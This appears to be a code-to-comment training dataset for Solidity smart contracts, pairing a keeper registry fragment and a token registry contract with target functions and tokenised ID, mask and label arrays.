checkData; s_upkeepCount++; emit UpkeepRegistered(id, gasLimit, admin); return id; } /** * @notice simulated by keepers via eth_call to see if the upkeep needs to be * performed. If upkeep is needed, the call then simulates performUpkeep * to make sure it succeeds. Finally, it returns the success status along with * payment information and the perform data payload. * @param id identifier of the upkeep to check * @param from the address to simulate performing the upkeep from */ function checkUpkeep(uint256 id, address from) external override whenNotPaused cannotExecute returns ( bytes memory performData, uint256 maxLinkPayment, uint256 gasLimit, uint256 adjustedGasWei, uint256 linkEth ) { Upkeep memory upkeep = s_upkeep[id]; bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]); (bool success, bytes memory result) = upkeep.target.call{gas: s_config.checkGasLimit}(callData); if (!success) { string memory upkeepRevertReason = getRevertMsg(result); string memory reason = string(abi.encodePacked("call to check target failed: ", upkeepRevertReason)); revert(reason); } (success, performData) = abi.decode(result, (bool, bytes)); require(success, "upkeep not needed"); PerformParams memory params = generatePerformParams(from, id, performData, false); prePerformUpkeep(upkeep, params.from, params.maxLinkPayment); return (performData, params.maxLinkPayment, params.gasLimit, params.adjustedGasWei, params.linkEth); } /** * @notice executes the upkeep with the perform data returned from * checkUpkeep, validates the keeper's permissions, and pays the keeper. * @param id identifier of the upkeep to execute the data with. * @param performData calldata parameter to be passed to the target upkeep. */ function performUpkeep(uint256 id, bytes calldata performData) external override returns (bool success) { return performUpkeepWithParams(generatePerformParams(msg.sender, id, performData, true)); } /** * @notice prevent an upkeep from being performed in the future * @param id upkeep to be canceled */ function cancelUpkeep(uint256 id) external override { uint64 maxValid = s_upkeep[id].maxValidBlocknumber; bool notCanceled = maxValid == UINT64_MAX; bool isOwner = msg.sender == owner(); require(notCanceled || (isOwner && maxValid > block.number), "too late to cancel upkeep"); require(isOwner || msg.sender == s_upkeep[id].admin, "only owner or admin"); uint256 height = block.number; if (!isOwner) { height = height.add(CANCELATION_DELAY); } s_upkeep[id].maxValidBlocknumber = uint64(height); if (notCanceled) { s_canceledUpkeepList.push(id); } emit UpkeepCanceled(id, uint64(height)); } /** * @notice adds LINK funding for an upkeep by transferring from the sender's * LINK balance * @param id upkeep to fund * @param amount number of LINK to transfer */ function addFunds(uint256 id, uint96 amount) external override { require(s_upkeep[id].maxValidBlocknumber == UINT64_MAX, "upkeep must be active"); s_upkeep[id].balance = s_upkeep[id].balance.add(amount); s_expectedLinkBalance = s_expectedLinkBalance.add(amount); LINK.transferFrom(msg.sender, address(this), amount); emit FundsAdded(id, msg.sender, amount); } /** * @notice uses LINK's transferAndCall to LINK and add funding to an upkeep * @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX * @param sender the account which transferred the funds * @param amount number of LINK transfer */ function onTokenTransfer( address sender, uint256 amount, bytes calldata data ) external { require(msg.sender == address(LINK), "only callable through LINK"); require(data.length == 32, "data must be 32 bytes"); uint256 id = abi.decode(data, (uint256)); require(s_upkeep[id].maxValidBlocknumber == UINT64_MAX, "upkeep must be active"); s_upkeep[id].balance = s_upkeep[id].balance.add(uint96(amount)); s_expectedLinkBalance = s_expectedLinkBalance.add(amount); emit FundsAdded(id, sender, uint96(amount)); } /** * @notice removes funding from a canceled upkeep * @param id upkeep to withdraw funds from * @param to destination address for sending remaining funds */ function withdrawFunds(uint256 id, address to) external validateRecipient(to) { require(s_upkeep[id].admin == msg.sender, "only callable by admin"); require(s_upkeep[id].maxValidBlocknumber <= block.number, "upkeep must be canceled"); uint256 amount = s_upkeep[id].balance; s_upkeep[id].balance = 0; s_expectedLinkBalance = s_expectedLinkBalance.sub(amount); emit FundsWithdrawn(id, amount, to); LINK.transfer(to, amount); } /** * @notice recovers LINK funds improperly transferred to the registry * @dev In principle this function’s execution cost could exceed block * gas limit. However, in our anticipated deployment, the number of upkeeps and * keepers will be low enough to avoid this problem. */ function recoverFunds() external onlyOwner { uint256 total = LINK.balanceOf(address(this)); LINK.transfer(msg.sender, total.sub(s_expectedLinkBalance)); } /** * @notice withdraws a keeper's payment, callable only by the keeper's payee * @param from keeper address * @param to address to send the payment to */ function withdrawPayment(address from, address to) external validateRecipient(to) { KeeperInfo memory keeper = s_keeperInfo[from]; require(keeper.payee == msg.sender, "only callable by payee"); s_keeperInfo[from].balance = 0; s_expectedLinkBalance = s_expectedLinkBalance.sub(keeper.balance); emit PaymentWithdrawn(from, keeper.balance, to, msg.sender); LINK.transfer(to, keeper.balance); } /** * @notice proposes the safe transfer of a keeper's payee to another address * @param keeper address of the keeper to transfer payee role * @param proposed address to nominate for next payeeship */ function transferPayeeship(address keeper, address proposed) external { require(s_keeperInfo[keeper].payee == msg.sender, "only callable by payee"); require(proposed != msg.sender, "cannot transfer to self"); if (s_proposedPayee[keeper] != proposed) { s_proposedPayee[keeper] = proposed; emit PayeeshipTransferRequested(keeper, msg.sender, proposed); } } /** * @notice accepts the safe transfer of payee role for a keeper * @param keeper address to accept the payee role for */ function acceptPayeeship(address keeper) external { require(s_proposedPayee[keeper] == msg.sender, "only callable by proposed payee"); address past = s_keeperInfo[keeper].payee; s_keeperInfo[keeper].payee = msg.sender; s_proposedPayee[keeper] = ZERO_ADDRESS; emit PayeeshipTransferred(keeper, past, msg.sender); } /** * @notice signals to keepers that they should not perform upkeeps until the * contract has been unpaused */ function pause() external onlyOwner { _pause(); } /** * @notice signals to keepers that they can perform upkeeps once again after * having been paused */ function unpause() external onlyOwner { _unpause(); } // SETTERS /** * @notice updates the configuration of the registry * @param paymentPremiumPPB payment premium rate oracles receive on top of * being reimbursed for gas, measured in parts per billion * @param flatFeeMicroLink flat fee paid to oracles for performing upkeeps * @param blockCountPerTurn number of blocks an oracle should wait before * checking for upkeep * @param checkGasLimit gas limit when checking for upkeep * @param stalenessSeconds number of seconds that is allowed for feed data to * be stale before switching to the fallback pricing * @param fallbackGasPrice gas price used if the gas price feed is stale * @param fallbackLinkPrice LINK price used if the LINK price feed is stale */ function setConfig( uint32 paymentPremiumPPB, uint32 flatFeeMicroLink, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, uint256 fallbackGasPrice, uint256 fallbackLinkPrice ) public onlyOwner { s_config = Config({ paymentPremiumPPB: paymentPremiumPPB, flatFeeMicroLink: flatFeeMicroLink, blockCountPerTurn: blockCountPerTurn, checkGasLimit: checkGasLimit, stalenessSeconds: stalenessSeconds, gasCeilingMultiplier: gasCeilingMultiplier }); s_fallbackGasPrice = fallbackGasPrice; s_fallbackLinkPrice = fallbackLinkPrice; emit ConfigSet( paymentPremiumPPB, blockCountPerTurn, checkGasLimit, stalenessSeconds, gasCeilingMultiplier, fallbackGasPrice, fallbackLinkPrice ); emit FlatFeeSet(flatFeeMicroLink); } /** * @notice update the list of keepers allowed to perform upkeep * @param keepers list of addresses allowed to perform upkeep * @param payees addresses corresponding to keepers who are allowed to * move payments which have been accrued */ function setKeepers(address[] calldata keepers, address[] calldata payees) external onlyOwner { require(keepers.length == payees.length, "address lists not the same length"); require(keepers.length >= 2, "not enough keepers"); for (uint256 i = 0; i < s_keeperList.length; i++) { address keeper = s_keeperList[i]; s_keeperInfo[keeper].active = false; } for (uint256 i = 0; i < keepers.length; i++) { address keeper = keepers[i]; KeeperInfo storage s_keeper = s_keeperInfo[keeper]; address oldPayee = s_keeper.payee; address newPayee = payees[i]; require(newPayee != address(0), "cannot set payee to the zero address"); require(oldPayee == ZERO_ADDRESS || oldPayee == newPayee || newPayee == IGNORE_ADDRESS, "cannot change payee"); require(!s_keeper.active, "cannot add keeper twice"); s_keeper.active = true; if (newPayee != IGNORE_ADDRESS) { s_keeper.payee = newPayee; } } s_keeperList = keepers; emit KeepersUpdated(keepers, payees); } /** * @notice update registrar * @param registrar new registrar */ function setRegistrar(address registrar) external onlyOwnerOrRegistrar { address previous = s_registrar; require(registrar != previous, "Same registrar"); s_registrar = registrar; emit RegistrarChanged(previous, registrar); } // GETTERS /** * @notice read all of the details about an upkeep */ function getUpkeep(uint256 id) external view override returns ( address target, uint32 executeGas, bytes memory checkData, uint96 balance, address lastKeeper, address admin, uint64 maxValidBlocknumber ) { Upkeep memory reg = s_upkeep[id]; return ( reg.target, reg.executeGas, s_checkData[id], reg.balance, reg.lastKeeper, reg.admin, reg.maxValidBlocknumber ); } /** * @notice read the total number of upkeep's registered */ function getUpkeepCount() external view override returns (uint256) { return s_upkeepCount; } /** * @notice read the current list canceled upkeep IDs */ function getCanceledUpkeepList() external view override returns (uint256[] memory) { return s_canceledUpkeepList; } /** * @notice read the current list of addresses allowed to perform upkeep */ function getKeeperList() external view override returns (address[] memory) { return s_keeperList; } /** * @notice read the current registrar */ function getRegistrar() external view returns (address) { return s_registrar; } /** * @notice read the current info about any keeper address */ function getKeeperInfo(address query) external view override returns ( address payee, bool active, uint96 balance ) { KeeperInfo memory keeper = s_keeperInfo[query]; return (keeper.payee, keeper.active, keeper.balance); } /** * @notice read the current configuration of the registry */ function getConfig() external view override returns ( uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, uint256 fallbackGasPrice, uint256 fallbackLinkPrice ) { Config memory config = s_config; return ( config.paymentPremiumPPB, config.blockCountPerTurn, config.checkGasLimit, config.stalenessSeconds, config.gasCeilingMultiplier, s_fallbackGasPrice, s_fallbackLinkPrice ); } /** * @notice getFlatFee gets the flat rate fee charged to customers when performing upkeep, * in units of of micro LINK */ function getFlatFee() external view returns (uint32) { return s_config.flatFeeMicroLink; } /** * @notice calculates the minimum balance required for an upkeep to remain eligible */ function getMinBalanceForUpkeep(uint256 id) external view returns (uint96 minBalance) { return getMaxPaymentForGas(s_upkeep[id].executeGas); } /** * @notice calculates the maximum payment for a given gas limit */ function getMaxPaymentForGas(uint256 gasLimit) public view returns (uint96 maxPayment) { (uint256 gasWei, uint256 linkEth) = getFeedData(); uint256 adjustedGasWei = adjustGasPrice(gasWei, false); return calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth); } // PRIVATE /** * @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed * data is stale it uses the configured fallback price. Once a price is picked * for gas it takes the min of gas price in the transaction or the fast gas * price in order to reduce costs for the upkeep clients. */ function getFeedData() private view returns (uint256 gasWei, uint256 linkEth) { uint32 stalenessSeconds = s_config.stalenessSeconds; bool staleFallback = stalenessSeconds > 0; uint256 timestamp; int256 feedValue; (, feedValue, , timestamp, ) = FAST_GAS_FEED.latestRoundData(); if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) { gasWei = s_fallbackGasPrice; } else { gasWei = uint256(feedValue); } (, feedValue, , timestamp, ) = LINK_ETH_FEED.latestRoundData(); if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) { linkEth = s_fallbackLinkPrice; } else { linkEth = uint256(feedValue); } return (gasWei, linkEth); } /** * @dev calculates LINK paid for gas spent plus a configure premium percentage */ function calculatePaymentAmount( uint256 gasLimit, uint256 gasWei, uint256 linkEth ) private view returns (uint96 payment) { Config memory config = s_config; uint256 weiForGas = gasWei.mul(gasLimit.add(REGISTRY_GAS_OVERHEAD)); uint256 premium = PPB_BASE.add(config.paymentPremiumPPB); uint256 total = weiForGas.mul(1e9).mul(premium).div(linkEth).add(uint256(config.flatFeeMicroLink).mul(1e12)); require(total <= LINK_TOTAL_SUPPLY, "payment greater than all LINK"); return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX } /** * @dev calls target address with exactly gasAmount gas and data as calldata * or reverts if at least gasAmount gas is not available */ function callWithExactGas( uint256 gasAmount, address target, bytes memory data ) private returns (bool success) { assembly { let g := gas() // Compute g -= CUSHION and check for underflow if lt(g, CUSHION) { revert(0, 0) } g := sub(g, CUSHION) // if g - g//64 <= gasAmount, revert // (we subtract g//64 because of EIP-150) if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) } // solidity calls check that a contract actually exists at the destination, so we do the same if iszero(extcodesize(target)) { revert(0, 0) } // call and return whether we succeeded. ignore return data success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0) } return success; } /** * @dev calls the Upkeep target with the performData param passed in by the * keeper and the exact gas required by the Upkeep */ function performUpkeepWithParams(PerformParams memory params) private nonReentrant validUpkeep(params.id) returns (bool success) { Upkeep memory upkeep = s_upkeep[params.id]; prePerformUpkeep(upkeep, params.from, params.maxLinkPayment); uint256 gasUsed = gasleft(); bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData); success = callWithExactGas(params.gasLimit, upkeep.target, callData); gasUsed = gasUsed - gasleft(); uint96 payment = calculatePaymentAmount(gasUsed, params.adjustedGasWei, params.linkEth); uint96 newUpkeepBalance = s_upkeep[params.id].balance.sub(payment); s_upkeep[params.id].balance = newUpkeepBalance; s_upkeep[params.id].lastKeeper = params.from; uint96 newKeeperBalance = s_keeperInfo[params.from].balance.add(payment); s_keeperInfo[params.from].balance = newKeeperBalance; emit UpkeepPerformed(params.id, success, params.from, payment, params.performData); return success; } /** * @dev ensures a upkeep is valid */ function validateUpkeep(uint256 id) private view { require(s_upkeep[id].maxValidBlocknumber > block.number, "invalid upkeep id"); } /** * @dev ensures all required checks are passed before an upkeep is performed */ function prePerformUpkeep( Upkeep memory upkeep, address from, uint256 maxLinkPayment ) private view { require(s_keeperInfo[from].active, "only active keepers"); require(upkeep.balance >= maxLinkPayment, "insufficient funds"); require(upkeep.lastKeeper != from, "keepers must take turns"); } /** * @dev adjusts the gas price to min(ceiling, tx.gasprice) or just uses the ceiling if tx.gasprice is disabled */ function adjustGasPrice(uint256 gasWei, bool useTxGasPrice) private view returns (uint256 adjustedPrice) { adjustedPrice = gasWei.mul(s_config.gasCeilingMultiplier); if (useTxGasPrice && tx.gasprice < adjustedPrice) { adjustedPrice = tx.gasprice; } } /** * @dev generates a PerformParams struct for use in performUpkeepWithParams() */ function generatePerformParams( address from, uint256 id, bytes memory performData, bool useTxGasPrice ) private view returns (PerformParams memory) { uint256 gasLimit = s_upkeep[id].executeGas; (uint256 gasWei, uint256 linkEth) = getFeedData(); uint256 adjustedGasWei = adjustGasPrice(gasWei, useTxGasPrice); uint96 maxLinkPayment = calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth); return PerformParams({ from: from, id: id, performData: performData, maxLinkPayment: maxLinkPayment, gasLimit: gasLimit, adjustedGasWei: adjustedGasWei, linkEth: linkEth }); } /** * @dev extracts a revert reason from a call result payload */ function getRevertMsg(bytes memory _payload) private pure returns (string memory) { if (_payload.length < 68) return "transaction reverted silently"; assembly { _payload := add(_payload, 0x04) } return abi.decode(_payload, (string)); } // MODIFIERS /** * @dev ensures a upkeep is valid */ modifier validUpkeep(uint256 id) { validateUpkeep(id); _; } /** * @dev ensures that burns don't accidentally happen by sending to the zero * address */ modifier validateRecipient(address to) { require(to != address(0), "cannot send to zero address"); _; } /** * @dev Reverts if called by anyone other than the contract owner or registrar. */ modifier onlyOwnerOrRegistrar() { require(msg.sender == owner() || msg.sender == s_registrar, "Only callable by owner or registrar"); _; } }
* @notice read the current registrar/
function getRegistrar() external view returns (address) { return s_registrar; }
12,571,852
[ 1, 896, 326, 783, 17450, 297, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 336, 30855, 1435, 3903, 1476, 1135, 261, 2867, 13, 288, 203, 565, 327, 272, 67, 1574, 3337, 297, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // ---------------------------------------------------------------------------- contract ERC20 { // ERC Token Standard #223 Interface // https://github.com/ethereum/EIPs/issues/223 string public symbol; string public name; uint8 public decimals; function transfer(address _to, uint _value, bytes _data) external returns (bool success); // approveAndCall function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success); // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); // bulk operations function transferBulk(address[] to, uint[] tokens) public; function approveBulk(address[] spender, uint[] tokens) public; } interface TokenRegistryInterface { function getPriceInToken(ERC20 tokenContract, uint128 priceWei) external view returns (uint128); function areAllTokensAllowed(address[] tokens) external view returns (bool); function isTokenInList(address[] allowedTokens, address currentToken) external pure returns (bool); function getDefaultTokens() external view returns (address[]); function getDefaultCreatorTokens() external view returns (address[]); function onTokensReceived(ERC20 tokenContract, uint tokenCount) external; function withdrawEthFromBalance() external; function canConvertToEth(ERC20 tokenContract) external view returns (bool); function convertTokensToEth(ERC20 tokenContract, address seller, uint sellerValue, uint fee) external; } pragma solidity ^0.4.23; // https://etherscan.io/address/0x3127be52acba38beab6b4b3a406dc04e557c037c#code contract PriceOracleInterface { // How much TOKENs you get for 1 ETH, multiplied by 10^18 uint256 public ETHPrice; } pragma solidity ^0.4.18; /// @title Kyber Network interface /// https://raw.githubusercontent.com/KyberNetwork/smart-contracts/master/contracts/KyberNetworkProxyInterface.sol interface KyberNetworkProxyInterface { function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) external returns(uint); } pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenRegistry is TokenRegistryInterface, Ownable { mapping (address => PriceOracleInterface) public priceOracle; address[] public allTokens; address[] public allOracleTokens; mapping (address => bool) operators; mapping (address => KyberNetworkProxyInterface) public kyberOracle; ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); bool public allowConvertTokensToEth = true; modifier onlyOperator() { require(operators[msg.sender] || msg.sender == owner); _; } function addOperator(address _newOperator) public onlyOwner { operators[_newOperator] = true; } function removeOperator(address _oldOperator) public onlyOwner { delete(operators[_oldOperator]); } function setAllowConvertTokensToEth(bool _newValue) public onlyOwner { allowConvertTokensToEth = _newValue; } function getDefaultCreatorTokens() external view returns (address[]) { return allOracleTokens; } function getDefaultTokens() external view returns (address[]) { return allTokens; } function areAllTokensAllowed(address[] _tokens) external view returns (bool) { for (uint i = 0; i < _tokens.length; i++) { if (address(priceOracle[_tokens[i]]) == address(0x0) && address(kyberOracle[_tokens[i]]) == address(0x0)) { return false; } } return true; } function getPriceInToken(ERC20 _tokenContract, uint128 priceWei) external view returns (uint128) { if (isKyberToken(_tokenContract)) { return getPriceInTokenKyber(_tokenContract, priceWei); } else { return getPriceInTokenOracle(_tokenContract, priceWei); } } function getPriceInTokenOracle(ERC20 _tokenContract, uint128 priceWei) public view returns (uint128) { PriceOracleInterface oracle = priceOracle[address(_tokenContract)]; require(address(oracle) != address(0)); uint256 ethPerToken = oracle.ETHPrice(); int256 power = 36 - _tokenContract.decimals(); require(power > 0); return uint128(uint256(priceWei) * ethPerToken / (10 ** uint256(power))); } function getPriceInTokenKyber(ERC20 _tokenContract, uint128 priceWei) public view returns (uint128) { KyberNetworkProxyInterface oracle = kyberOracle[address(_tokenContract)]; require(address(oracle) != address(0)); uint256 ethPerToken; (, ethPerToken) = oracle.getExpectedRate(ETH_TOKEN_ADDRESS, _tokenContract, priceWei); require(ethPerToken > 0); int256 power = 36 - _tokenContract.decimals(); require(power > 0); return uint128(uint256(priceWei) * ethPerToken / (10 ** uint256(power))); } function isTokenInList(address[] _allowedTokens, address _currentToken) external pure returns (bool) { for (uint i = 0; i < _allowedTokens.length; i++) { if (_allowedTokens[i] == _currentToken) { return true; } } return false; } /// @dev Allow buy cuties for token function addToken(ERC20 _tokenContract, PriceOracleInterface _priceOracle) external onlyOwner { // check if not added yet require(address(priceOracle[address(_tokenContract)]) == address(0x0)); require(address(kyberOracle[address(_tokenContract)]) == address(0x0)); priceOracle[address(_tokenContract)] = _priceOracle; allTokens.push(_tokenContract); allOracleTokens.push(_tokenContract); } /// @dev Allow buy cuties for token function addKyberToken(ERC20 _tokenContract, KyberNetworkProxyInterface _priceOracle) external onlyOwner { // check if not added yet require(address(priceOracle[address(_tokenContract)]) == address(0x0)); require(address(kyberOracle[address(_tokenContract)]) == address(0x0)); kyberOracle[address(_tokenContract)] = _priceOracle; allTokens.push(_tokenContract); } /// @dev Disallow buy cuties for token function removeToken(ERC20 _tokenContract) external onlyOwner { delete priceOracle[address(_tokenContract)]; delete kyberOracle[address(_tokenContract)]; /* uint256 kindex = 0; while (kindex < allTokens.length) { if (address(allTokens[kindex]) == address(_tokenContract)) { allTokens[kindex] = allTokens[allTokens.length-1]; allTokens.length--; } else { kindex++; } }*/ uint256 kindex = 0; while (kindex < allOracleTokens.length) { if (address(allOracleTokens[kindex]) == address(_tokenContract)) { allOracleTokens[kindex] = allOracleTokens[allOracleTokens.length-1]; allOracleTokens.length--; } else { kindex++; } } } // @dev Transfers to _withdrawToAddress all tokens controlled by // contract _tokenContract. function withdrawTokenFromBalance(ERC20 _tokenContract, address _withdrawToAddress) external onlyOperator { uint256 balance = _tokenContract.balanceOf(address(this)); _tokenContract.transfer(_withdrawToAddress, balance); } function withdrawEthFromBalance() external onlyOperator { msg.sender.transfer(address(this).balance); } function onTokensReceived(ERC20 tokenContract, uint tokenCount) external onlyOperator { if (canConvertToEth(tokenContract)) { _swapTokenToEther( kyberOracle[address(tokenContract)], tokenContract, tokenCount, this, 0); } } function canConvertToEth(ERC20 tokenContract) public view returns (bool) { return allowConvertTokensToEth && isKyberToken(tokenContract); } function isKyberToken(ERC20 tokenContract) public view returns (bool) { return address(kyberOracle[address(tokenContract)]) != 0x0; } //@dev Converts tokens to ETH and transfers ETH to destAddress minus fee //@fee 0-10,000 means 0%-100% function convertTokensToEth(ERC20 tokenContract, address destAddress, uint tokenCount, uint fee) public onlyOperator { require(allowConvertTokensToEth); _swapTokenToEther( kyberOracle[address(tokenContract)], tokenContract, tokenCount, destAddress, fee); } //@param _kyberNetworkProxy kyberNetworkProxy contract address //@param token source token contract address //@param tokenQty token wei amount //@param destAddress address to send swapped ETH to //@fee 0-10,000 means 0%-100% function _swapTokenToEther(KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress, uint fee) internal { uint minRate; (, minRate) = _kyberNetworkProxy.getExpectedRate(token, ETH_TOKEN_ADDRESS, tokenQty); // Mitigate ERC20 Approve front-running attack, by initially setting // allowance to 0 require(token.approve(_kyberNetworkProxy, 0)); // Approve tokens so network can take them during the swap token.approve(address(_kyberNetworkProxy), tokenQty); uint destAmount = _kyberNetworkProxy.swapTokenToEther(token, tokenQty, minRate); if (destAddress != address(this)) { // Send received ethers to destination address uint sellerValue = destAmount * (10000 - fee) / 10000; destAddress.transfer(sellerValue); } } function () external payable { } }
ERROR: type should be string, got " https:etherscan.io/address/0x3127be52acba38beab6b4b3a406dc04e557c037c#code How much TOKENs you get for 1 ETH, multiplied by 10^18"
contract PriceOracleInterface { uint256 public ETHPrice; }
12,776,512
[ 1, 4528, 30, 546, 414, 4169, 18, 1594, 19, 2867, 19, 20, 92, 23, 14260, 2196, 9401, 1077, 12124, 7414, 2196, 378, 26, 70, 24, 70, 23, 69, 7132, 26, 7201, 3028, 73, 2539, 27, 71, 4630, 27, 71, 710, 9017, 9816, 14275, 87, 1846, 336, 364, 404, 512, 2455, 16, 27789, 635, 1728, 66, 2643, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 20137, 23601, 1358, 288, 203, 203, 565, 2254, 5034, 1071, 512, 2455, 5147, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 